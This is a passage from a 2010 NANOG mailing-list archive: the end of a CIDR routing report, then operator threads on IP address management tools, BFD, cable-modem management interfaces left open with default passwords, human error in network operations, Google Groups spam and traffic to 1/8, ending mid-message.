Line 199.202.0.0/16 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 199.202.216.0/21 AS577 BACOM - Bell Canada 199.233.92.0/24 AS26896 D102-ITC - Data 102, LLC 199.246.116.0/24 AS813 UUNET-CANADA - MCI Communications Services, Inc. d/b/a Verizon Business 200.1.112.0/24 AS29754 GO2TEL GO2TEL.COM INC. 200.108.176.0/20 AS14551 UUNET-SA - MCI Communications Services, Inc. d/b/a Verizon Business 202.9.55.0/24 AS2764 AAPT AAPT Limited 202.9.57.0/24 AS2764 AAPT AAPT Limited 202.38.48.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.49.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.50.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.51.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.52.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.54.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.55.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.56.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.57.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.58.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.59.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.60.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.61.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.62.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.38.63.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.58.113.0/24 AS19161 202.61.72.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.73.0/24 AS9425 CONCENTRIX-PH-AS-AP Concentrix Technologies, Inc 202.61.75.0/24 AS9927 PHILCOMNET-PH A Multihomed ISP Company 202.66.128.0/18 AS9584 GENESIS-AP Diyixian.com Limited 202.66.184.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.186.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.188.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.189.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.66.190.0/24 AS9584 GENESIS-AP Diyixian.com Limited 202.73.144.0/20 AS4788 TMNET-AS-AP TM Net, Internet Service Provider 202.79.224.0/21 AS9519 VERTELNET Vertical Telecoms Pty Ltd 202.80.192.0/20 AS2706 PI-HK Pacnet Internet (Hong Kong) Limited 202.86.252.0/22 AS4748 RESOLINK-AS-AP Resources Link Network Limited 202.86.252.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.253.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.254.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.86.255.0/24 AS9304 HUTCHISON-AS-AP Hutchison Global Communications 202.87.102.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.94.1.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.133.37.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.133.70.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.133.73.0/24 AS38616 WORLDCALL-AS-KHI Worldcall Telecom Limited 202.136.254.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.136.255.0/24 AS4808 CHINA169-BJ CNCGROUP IP network China169 Beijing Province Network 202.143.128.0/19 AS23974 202.143.160.0/19 AS23974 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.166.160.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.161.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.162.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.163.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.164.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.165.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.166.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.169.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.171.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.172.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.166.175.0/24 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 202.174.70.0/24 AS21175 WIS Wind International Services SA 202.174.125.0/24 AS9498 BBIL-AP BHARTI Airtel Ltd. 202.176.1.0/24 AS9942 COMINDICO-AP SOUL Converged Communications Australia 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.80.136.0/21 AS4759 EVOSERVE-AS-AP EvoServe is a content and online access Internet provider company 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.142.219.0/24 AS45149 203.172.128.0/18 AS23974 203.172.192.0/18 AS23974 203.189.96.0/20 AS17557 PKTELECOM-AS-PK Pakistan Telecommunication Company Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.15.168.0/21 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.15.170.0/24 AS46753 TDAMERITRADETRUST - TD Ameritrade Trust 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.197.0.0/16 AS3356 LEVEL3 Level 3 Communications 204.209.114.0/24 AS13768 PEER1 - Peer 1 Network Inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.108.96.0/19 AS577 BACOM - Bell Canada 206.128.104.0/21 AS11709 VIC - VIRTUAL INTERACTIVE CENTER 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.132.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.152.0/23 AS26116 INDRA - Indra's Net Inc. 207.174.154.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.155.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.188.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.189.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.190.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.191.0/24 AS26116 INDRA - Indra's Net Inc. 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 208.66.152.0/24 AS18499 208.66.153.0/24 AS18499 208.66.154.0/24 AS18499 208.66.155.0/24 AS18499 208.66.156.0/24 AS18499 208.66.157.0/24 AS18499 208.66.158.0/24 AS18499 208.66.159.0/24 AS18499 208.73.4.0/22 AS27630 PREMIER - Premier Innovations, LLC 208.77.224.0/22 AS174 COGENT Cogent/PSI 208.77.229.0/24 AS174 COGENT Cogent/PSI 208.77.230.0/23 AS174 COGENT Cogent/PSI 208.78.164.0/24 AS16565 208.78.165.0/24 AS16565 208.78.167.0/24 AS16565 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.87.208.0/24 AS31997 209.87.209.0/24 AS31997 209.87.210.0/24 AS31997 209.87.211.0/24 AS31997 209.87.212.0/22 AS31997 209.87.216.0/24 AS31997 209.87.217.0/24 AS31997 209.87.218.0/24 AS31997 209.87.219.0/24 AS31997 209.87.220.0/24 AS31997 209.87.221.0/24 AS31997 209.87.222.0/23 AS31997 209.105.224.0/19 AS20074 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.177.160.0/24 AS18499 209.177.161.0/24 AS18499 209.177.162.0/24 AS18499 209.177.163.0/24 AS18499 209.177.164.0/24 AS18499 209.177.165.0/24 AS18499 209.177.166.0/24 AS18499 209.177.167.0/24 AS18499 209.177.168.0/24 AS18499 209.177.169.0/24 AS18499 209.177.170.0/24 AS18499 209.177.171.0/24 AS18499 209.177.172.0/24 AS18499 209.177.173.0/24 AS18499 209.177.174.0/24 AS18499 209.177.175.0/24 AS18499 209.213.0.0/20 AS33005 ELTOPIA - Eltopia.com, LLC 209.213.1.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 209.213.4.0/24 AS7849 CROCKERCOM - CROCKER COMMUNICATIONS 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 210.56.150.0/23 AS38138 INTECH-TRANSIT-BD InTech Online Limited, INTERNET SERVICE LIMITED 210.247.224.0/19 AS7496 WEBCENTRAL-AS WebCentral 216.21.192.0/20 AS14697 VDOTNET - VDot.Net 216.21.196.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.201.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.202.0/24 AS12251 INVISION - Invision.com, Inc. 216.21.206.0/23 AS12251 INVISION - Invision.com, Inc. 216.58.192.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.197.0/24 AS22702 X5SOLUTIONS - X5 Solutions, Inc. 216.58.200.0/24 AS18530 ISOMEDIA-1 - Isomedia Inc. 216.144.240.0/23 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.243.0/24 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.144.244.0/22 AS11351 RR-NYSREGION-ASN-01 - Road Runner HoldCo LLC 216.163.144.0/20 AS35985 ONERINGNET-ATL-1 - One Ring Networks, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.250.112.0/20 AS7296 ALCHEMYNET - Alchemy Communications, Inc. 216.250.116.0/24 AS36066 UNI-MARKETING-ALLIANCE - Webhost4life.com 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 222.0.0.0/8 AS9484 MOBINET-AS-MN Mobicom Company. AS Mobinet Internet Service Provider Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From dougb at dougbarton.us Fri Feb 5 16:02:19 2010 From: dougb at dougbarton.us (Doug Barton) Date: Fri, 05 Feb 2010 14:02:19 -0800 Subject: VXR VS ASR In-Reply-To: <6B01C29BEA65E347A560D0306A33D63BDF309131A6@RSSBS08.rseng.net> References: <6B01C29BEA65E347A560D0306A33D63BDF309131A4@RSSBS08.rseng.net> <6B01C29BEA65E347A560D0306A33D63BDF309131A6@RSSBS08.rseng.net> Message-ID: <4B6C956B.3070403@dougbarton.us> FYI, "Start a new thread" does not mean "reply to a message in an existing thread and then change the subject line." A new thread consists of actually creating a new message (however your mail client does that). The reason this is important is that those of us who actually use threaded mail readers will see (or quite possibly not see) your message buried in the middle of another thread with a totally unrelated topic. In fact, thunderbird 3 has a great new feature where you can easily delete a whole thread unread with one click. hope this helps, Doug (he must really be a CEO) -- Improve the effectiveness of your Internet presence with a domain name makeover! http://SupersetSolutions.com/ Computers are useless. They can only give you answers. -- Pablo Picasso From jmamodio at gmail.com Fri Feb 5 20:43:10 2010 From: jmamodio at gmail.com (Jorge Amodio) Date: Fri, 5 Feb 2010 20:43:10 -0600 Subject: Insecure Cable networks ? Message-ID: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> Is it a common practice on cable network providers to leave access to the cable modem/router management web UI wide open ? Here is the scoop. I heard about it but didn't experienced it hands on or seen myself until recently when I was testing one of the embedded TCP/IP boards I produce which as many other IP gadgets has a mini HTTP server which I access just typing the IP address of the thing. In my home lab an IPv4 address on 10/8, not very uncommon I screwed up and made a typo on the IP address and ended on a different device web UI, an Ambit cable modem Hmmm my modem is from Toshiba, I tried the default factory password, it worked !!, not only that, this thing is several cities hundreds of miles away from here .. ehhh ? fired nmap, tried several 10/24 networks and just playing by hand found hundreds of devices and every single one I tried default password it worked, not only modems, also modem/routers and some with integrated VoIP where if I wanted I would have been able to change provisioning configuration, channel scanning, browse through the call manager logs and see who's calling or being called, etc. Isn't this a huge security hole ? It wont take much for a kiddie to write a very simple script to drive crazy the noc guys taking down pieces of the network here and there ... If a grownup from TWC/RR wants to get more specifics feel free to contact me. Regards From hitesh at brownkid.net Fri Feb 5 20:47:59 2010 From: hitesh at brownkid.net (Hitesh Patel) Date: Fri, 5 Feb 2010 20:47:59 -0600 Subject: NorthStar IP Management System Message-ID: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> Hello all, It has been a while since I posted anything to NANOG. A long time ago (in a galaxy far far away ;) ) I wrote and maintained a software package called NorthStar (http://www.brownkid.net/NorthStar) to administrate IP space and various other things. Life got busy and the project fell off my list of priorities. Long story short I am looking to see if anyone is still using NorthStar? Would people like to see development start up again? -- Hitesh Patel From pstewart at nexicomgroup.net Fri Feb 5 20:51:51 2010 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Fri, 5 Feb 2010 21:51:51 -0500 Subject: NorthStar IP Management System In-Reply-To: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> References: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> Message-ID: Nice to hear from you... we use it every day still ;) I will admit that we are looking to move to a new system very shortly - biggest reason is IPv6 support. There are other reasons but that is the largest missing feature for us by a long shot... Hope this helps.. Paul -----Original Message----- From: Hitesh Patel [mailto:hitesh at brownkid.net] Sent: February-05-10 9:48 PM To: nanog at nanog.org Subject: NorthStar IP Management System Hello all, It has been a while since I posted anything to NANOG. A long time ago (in a galaxy far far away ;) ) I wrote and maintained a software package called NorthStar (http://www.brownkid.net/NorthStar) to administrate IP space and various other things. Life got busy and the project fell off my list of priorities. Long story short I am looking to see if anyone is still using NorthStar? Would people like to see development start up again? -- Hitesh Patel ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From ecables at gmail.com Fri Feb 5 22:13:14 2010 From: ecables at gmail.com (Eric Cables) Date: Fri, 5 Feb 2010 20:13:14 -0800 Subject: NorthStar IP Management System In-Reply-To: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> References: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> Message-ID: I looked at NorthStar about 5 years ago, but due to its lack of support I chose to use IPPlan instead. I do remember thinking NorthStar would have been a great solution had you been actively maintaining it, and maybe it still will -- should you decide to pick it back up. I would definitely give it another look as an alternative to IPPlan, so keep us posted. -- Eric Cables On Fri, Feb 5, 2010 at 6:47 PM, Hitesh Patel wrote: > Hello all, > > It has been a while since I posted anything to NANOG. A long time ago (in > a galaxy far far away ;) ) I wrote and maintained a software package called > NorthStar (http://www.brownkid.net/NorthStar) to administrate IP space and > various other things. Life got busy and the project fell off my list of > priorities. > > Long story short I am looking to see if anyone is still using NorthStar? > Would people like to see development start up again? > > -- > Hitesh Patel > > > From schecter at gmail.com Fri Feb 5 23:09:45 2010 From: schecter at gmail.com (Steven Schecter) Date: Sat, 6 Feb 2010 00:09:45 -0500 Subject: Insecure Cable networks ? In-Reply-To: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> References: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> Message-ID: <1254eddc1002052109r1739e7b0ud92def908249b43f@mail.gmail.com> On Fri, Feb 5, 2010 at 9:43 PM, Jorge Amodio wrote: > Is it a common practice on cable network providers to leave access > to the cable modem/router management web UI wide open ? it's very common for a CM to operate a web page, usually http://192.168.100.1/ that offer the local user diagnostic capabilities. it should not, however, provide administrative access. that said, in some of the newer "gateway" style modems, some administrative access to the to the CPE side can be made available via the use of split configuration. regards, /steve -- Steven J. Schecter From bedard.phil at gmail.com Fri Feb 5 23:20:54 2010 From: bedard.phil at gmail.com (Phil Bedard) Date: Sat, 6 Feb 2010 00:20:54 -0500 Subject: BFD over p2p transport links In-Reply-To: <803804.84064.qm@web53606.mail.re2.yahoo.com> References: <803804.84064.qm@web53606.mail.re2.yahoo.com> Message-ID: <882A6E89-1AC7-4D64-99EA-EBDF98AF2E1A@gmail.com> We use it on all of our links which are generally over our own DWDM/dark fiber network. All links are 10G LAN PHY. Our DWDM systems propagate link failures but one of the main reasons we implemented it was our router vendors did not drop link during reboots during software upgrades. GR wasn't supported in those cases. We have had some issues with false positives but overall it has been running fairly stable for over a year. I've found the same issue with another router vendor where after an upgrade you may have to reload a line module, and the module does not drop link during a reload... Phil On Feb 5, 2010, at 9:45 AM, Serge Vautour wrote: > Hello, > > I'm being asked to look into using BFD over our P2P transport links. Is anyone else doing this? Our transport links are all 10G Ethernet (LAN-PHY). There's no alarming inside of LAN-PHY like there is in SONET. The transport side should propagate a fiber break by stopping to send light on both ends. This is enough to cause the router interfaces to drop and for protocols to converge. > > Since LAN-PHY doesn't have any built end-end alarming, some folks believe that we may encounter situations where a fiber break doesn't cause interfaces do go down. Convergence would then have to wait for IGP hellos to detect the problem. > > Is anybody else running BFD over 10G LAN-PHY transport links? Any comments around BFD for this application in general? > > Thanks, > Serge > > > > __________________________________________________________________ > Looking for the perfect gift? Give the gift of Flickr! > > http://www.flickr.com/gift/ > From nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org Fri Feb 5 23:45:01 2010 From: nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org (Mark Smith) Date: Sat, 6 Feb 2010 16:15:01 +1030 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations In-Reply-To: <202705b1002041447r2c369b60xad11b6c51e054689@mail.gmail.com> References: <4B6B2BD1.7010300@linuxbox.org> <202705b1002041447r2c369b60xad11b6c51e054689@mail.gmail.com> Message-ID: <20100206161501.15d23075@opy.nosense.org> On Thu, 4 Feb 2010 16:47:47 -0600 Jorge Amodio wrote: > I'm totally ignorant (most of the time), is anybody actually using SNMPv3 ? > I worked with an IPsec VPN product around 10 years ago that used SNMPv3 for automated provisioning of the tunnels. > Regards > From frnkblk at iname.com Sat Feb 6 00:00:50 2010 From: frnkblk at iname.com (Frank Bulk) Date: Sat, 6 Feb 2010 00:00:50 -0600 Subject: Insecure Cable networks ? In-Reply-To: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> References: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> Message-ID: There are knobs on most models to restrict access to the GUI to: - the LAN interface - certain mgmt subnets. Sounds like the MSO doesn't have things set up correctly. Frank -----Original Message----- From: Jorge Amodio [mailto:jmamodio at gmail.com] Sent: Friday, February 05, 2010 8:43 PM To: NANOG Subject: Insecure Cable networks ? Is it a common practice on cable network providers to leave access to the cable modem/router management web UI wide open ? Here is the scoop. I heard about it but didn't experienced it hands on or seen myself until recently when I was testing one of the embedded TCP/IP boards I produce which as many other IP gadgets has a mini HTTP server which I access just typing the IP address of the thing. In my home lab an IPv4 address on 10/8, not very uncommon I screwed up and made a typo on the IP address and ended on a different device web UI, an Ambit cable modem Hmmm my modem is from Toshiba, I tried the default factory password, it worked !!, not only that, this thing is several cities hundreds of miles away from here .. ehhh ? fired nmap, tried several 10/24 networks and just playing by hand found hundreds of devices and every single one I tried default password it worked, not only modems, also modem/routers and some with integrated VoIP where if I wanted I would have been able to change provisioning configuration, channel scanning, browse through the call manager logs and see who's calling or being called, etc. Isn't this a huge security hole ? It wont take much for a kiddie to write a very simple script to drive crazy the noc guys taking down pieces of the network here and there ... If a grownup from TWC/RR wants to get more specifics feel free to contact me. Regards From truman at suspicious.org Sat Feb 6 00:58:30 2010 From: truman at suspicious.org (Truman Boyes) Date: Sat, 6 Feb 2010 17:58:30 +1100 Subject: Insecure Cable networks ? In-Reply-To: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> References: <202705b1002051843l16af5ca2qff387812f1763549@mail.gmail.com> Message-ID: <6553866F-EBF4-4DAC-811B-469C7E735FFF@suspicious.org> On 6/02/2010, at 1:43 PM, Jorge Amodio wrote: > fired nmap, tried several 10/24 networks and just playing by hand > found hundreds of devices and every single one I tried default password > it worked, not only modems, also modem/routers and some with > integrated VoIP where if I wanted I would have been able to change > provisioning configuration, channel scanning, browse through the call > manager logs and see who's calling or being called, etc. > > Isn't this a huge security hole ? > > It wont take much for a kiddie to write a very simple script to drive > crazy the noc guys taking down pieces of the network here and there ... > > If a grownup from TWC/RR wants to get more specifics feel free to > contact me. > > Regards Yes this is a huge security hole. Management networks should always be restricted to some extent and the fact that default passwords allow you into VoIP gateways provides an avenue for call fraud. At a very minimum the devices should restrict which addresses can talk to them (ie. management servers in the MSO) and passwords should be non-default. Maybe you can consult with the local MSO? Kind regards, Truman From sethm at rollernet.us Sat Feb 6 01:47:07 2010 From: sethm at rollernet.us (Seth Mattinen) Date: Fri, 05 Feb 2010 23:47:07 -0800 Subject: NorthStar IP Management System In-Reply-To: References: <2FC5AD01-6EDA-4B46-853F-8A42363B4B0E@brownkid.net> Message-ID: <4B6D1E7B.6010401@rollernet.us> On 2/5/10 8:13 PM, Eric Cables wrote: > I looked at NorthStar about 5 years ago, but due to its lack of support I > chose to use IPPlan instead. I do remember thinking NorthStar would have > been a great solution had you been actively maintaining it, and maybe it > still will -- should you decide to pick it back up. > > I would definitely give it another look as an alternative to IPPlan, so keep > us posted. > I'm certainly looking at ditching ipplan for something with ipv6 support. The spreadsheet method only goes so far. ~Seth From nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org Sat Feb 6 08:12:50 2010 From: nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org (Mark Smith) Date: Sun, 7 Feb 2010 00:42:50 +1030 Subject: Mitigating human error in the SP In-Reply-To: <4B6B56AF.2000202@cox.net> References: <20100204133037.968F9638@resin09.mta.everyone.net> <4B6B549A.8020206@cox.net> <4B6B56AF.2000202@cox.net> Message-ID: <20100207004250.75480513@opy.nosense.org> On Thu, 04 Feb 2010 17:22:23 -0600 Larry Sheldon wrote: > On 2/4/2010 5:13 PM, Larry Sheldon wrote: > > On 2/4/2010 3:30 PM, Scott Weeks wrote: > >> > >> A recent organizational change at my company has put someone in charge > >> who is determined to make things perfect. We are a service provider, > >> > >> isn't a common occurrence, and the engineer in question has a pristine > >> track record. > >> > >> This outage, of a high profile customer, triggered upper management to > >> react by calling a meeting just days after. Put bluntly, we've been > >> told "Human errors are unacceptable, and they will be completely > >> eliminated. One is too many." > >> ---------------------------------------------------------------- > >> > >> > >> > >>> From experience... > >> > >> At one point this will become overwhelming. You'll wake up every > >> morning dreading going to > >> work instead of looking forward to it. Chain shot will be put in the > >> 'blame cannon' and > >> blasted regularly and at everyone. Update your resume and get > >> everything in place just in > >> case it gets to the point you can't take it anymore sooner than you > >> expect. ;-) > > > > > > This is a golden opportunity. > > > > Prepare a pLan for building the lab necessary to pre-test EVERYTHING. > > Plan. Prepare a plan. > > > > > Cost it out. > > > > Present the cost and the plan in a public forum or widely distributed > > memorandum (including as a minimum everybody that was at the meeting and > > everybody in the chain(s) of command between you and the edict giver. > > > > Problem is, when the inevitable human error does occur, the expensive lab then just looks like it was a huge waste of money, and that the networking people took advantage of the situation to build a play ground. They'll then likely be shown the door. The only way to completely eliminate human error is to eliminate the humans - from everything - hardware design, software design, deployment and maintenance. Actually, come to think of it, there is a way to eliminate human error. Staff netops with monkeys, and as long as management don't work out that they've now got "monkey error", they'll be happy. When they cotton on to that, replace monkey error with goat error. Then sheep error. Then hamster error. etc. etc. By the time they run out of types of animal error, they'll realise how wonderful human error really is! > > > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > From LarrySheldon at cox.net Sat Feb 6 08:56:15 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Sat, 06 Feb 2010 08:56:15 -0600 Subject: Mitigating human error in the SP In-Reply-To: <20100207004250.75480513@opy.nosense.org> References: <20100204133037.968F9638@resin09.mta.everyone.net> <4B6B549A.8020206@cox.net> <4B6B56AF.2000202@cox.net> <20100207004250.75480513@opy.nosense.org> Message-ID: <4B6D830F.4050800@cox.net> On 2/6/2010 8:12 AM, Mark Smith wrote: > On Thu, 04 Feb 2010 17:22:23 -0600 > Larry Sheldon wrote: >>> Present the cost and the plan in a public forum or widely distributed >>> memorandum (including as a minimum everybody that was at the meeting and >>> everybody in the chain(s) of command between you and the edict giver. > Problem is, when the inevitable human error does occur, the expensive > lab then just looks like it was a huge waste of money, and that the > networking people took advantage of the situation to build a play > ground. They'll then likely be shown the door. I can't imagine wanting to work at a place like that anyway. > The only way to completely eliminate human error is to eliminate the > humans - from everything - hardware design, software design, deployment > and maintenance. This may be a little heavy on the philosophy, but there has to be a human in there somewhere. And, will I don't have any statistics at all, I sense that machine failures probably exceed human failures in rate and severity. Certainly there are assists that make sense. And by the way, what difference does it make if you get fired because a machine "replaced" you and getting fired because somebody made a mistake? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From hearn at google.com Sat Feb 6 10:38:43 2010 From: hearn at google.com (Mike Hearn) Date: Sat, 6 Feb 2010 17:38:43 +0100 Subject: google contact? why is google hosting/supporting/encouraging spammers? Message-ID: Hello nanog, I was pointed to the recent thread about Google Groups spammers and thought I'd throw out a few comments. Keeping Google free of spam, and keeping the wider internet community on our side is important to us. By the time I looked at it, the account named by Jim was already shut down as part of a systematic anti-abuse sweep. We automatically identify and shut down many accounts every day and this account was no different. The nature of providing free email services at scale is that abuse is inevitable and the only way to tackle it is with automation, so hopefully you can understand that we may not always be as responsive to ad hoc manual reports as would be ideal. Google Groups spam specifically is something we started seriously tackling only recently. Doing it as well as GMail required a rewrite of the rather old groups backend. It's already improved dramatically in the past few months and it is continuing to get better rapidly as we close the remaining holes. On the question of caring, we do care about spam of all kinds, both inbound and outbound, and have a large anti abuse team dedicated to stopping spammers. This is a difficult problem - there is a dedicated underground economy of people who spend all day reverse engineering our systems so they can sell accounts and mail relay services to other, less capable individuals. But I think it's fair to say we're ahead of the game here - for example, Google is the only major webmail provider I know of that has aggressively deployed SMS verification. Thanks for the feedback. Google wants to be the best netizen possible, and we know getting spam from google IPs is frustrating - we're on it. /mike -- GMail Engineering Google Switzerland GmbH From mkarir at merit.edu Sat Feb 6 10:47:58 2010 From: mkarir at merit.edu (Manish Karir) Date: Sat, 6 Feb 2010 11:47:58 -0500 (EST) Subject: How polluted is 1/8? In-Reply-To: <1207582479.3935101265474659121.JavaMail.root@crono> Message-ID: <609933721.3935701265474878472.JavaMail.root@crono> Hi Jared, Merit would be happy to sink and collected this traffic. Perhaps even the entire /8 depending on the traffic level. Ideally we would want to do the entire /8. We have disk and bandwidth in place for our other research activities and this would fit in nicely. We could probably do a full pcap capture for a week or so and make it publicly available to the broader research community. -manish > >There was a call on the apnic list for someone to sink some of the traffic. >I'd like to see someone capture the data and post pcaps/netflow analysis, and possibly just run a http server on >that /24 so people can test if their network is broken. > >I've taken a peek at the traffic, and I don't think it's 100's of megs, but without a global view who knows. > >- Jared From akonkol at gmail.com Sat Feb 6 12:52:43 2010 From: akonkol at gmail.com (Andrew Konkol) Date: Sat, 6 Feb 2010 12:52:43 -0600 Subject: Small Network Equipment Shipping boxes Message-ID: <6c4112901002061052h5b59e88fof9839e7fbb57bf78@mail.gmail.com> Gurus, Where I work we ship our own 